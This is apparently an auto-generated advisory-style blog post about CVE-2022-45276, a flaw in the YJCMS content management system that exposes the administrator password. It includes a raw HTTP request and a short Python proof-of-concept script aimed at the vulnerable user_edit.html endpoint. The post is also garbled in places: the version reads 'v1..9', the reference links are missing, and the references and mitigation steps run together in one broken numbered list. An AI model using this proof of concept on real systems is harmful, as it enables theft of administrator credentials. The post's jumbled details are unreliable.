CVE-2022-45276: Critical Vulnerability in YJCMS v1..9 - Unauthenticated Attackers Can Obtain Administrator Account Password

A critical vulnerability, identified as CVE-2022-45276, has been discovered in the YJCMS v1..9 content management system (CMS). This vulnerability exists in the /index/user/user_edit.html component and allows unauthenticated attackers to obtain the Administrator account password, potentially allowing them to compromise the affected system.

In this post, we will provide a detailed analysis of the vulnerability, explain how it can be exploited, and provide links to original references and mitigation steps. Throughout this post, we will use simple American language to make the content easily understandable and exclusive.

Vulnerability Details

The issue stems from improper access controls in the /index/user/user_edit.html component in YJCMS v1..9. This allows unauthenticated attackers to send a specially crafted request to the target system and potentially gain unauthorized access to sensitive information, such as the Administrator account password.

To exploit this vulnerability, an attacker can craft an HTTP request similar to the following

GET /index/user/user_edit.html?id=1 HTTP/1.1
Host: target_domain.com

Once the request is processed by the affected system, the attacker can potentially retrieve sensitive information, including the Administrator account password.

Below is a sample proof-of-concept code snippet demonstrating the exploitation of this vulnerability

import requests

target_url = "http://target_domain.com/index/user/user_edit.html";
params = {
    "id": "1"
}

response = requests.get(target_url, params=params)

if response.status_code == 200:
    print("Potential vulnerability detected")
    print(response.content)
else:
    print("No vulnerability detected")

This script sends a GET request to the /index/user/user_edit.html endpoint with the id parameter set to 1. If the response status code is 200, it prints the response content, which may contain sensitive information, such as the Administrator account password.

For more information about CVE-2022-45276, you can refer to the following links

1. CVE Details
2. National Vulnerability Database

Implement proper access controls to restrict unauthenticated requests for sensitive information.

3. Monitor access logs for any suspicious requests targeting the /index/user/user_edit.html component.

By following these steps, you can significantly reduce the risks associated with CVE-2022-45276.

Conclusion

In this post, we have detailed a critical vulnerability in the YJCMS v1..9 CMS. By exploiting the /index/user/user_edit.html component, unauthenticated attackers can gain unauthorized access to sensitive information, such as the Administrator account password.

It is crucial for users of YJCMS v1..9 to address this vulnerability promptly by following the mitigation and remediation steps outlined in this post. Keeping software up-to-date and implementing robust security controls can help prevent successful exploitation of this and other vulnerabilities.

Timeline

Published on: 11/23/2022 21:15:00 UTC
Last modified on: 08/08/2023 14:22:00 UTC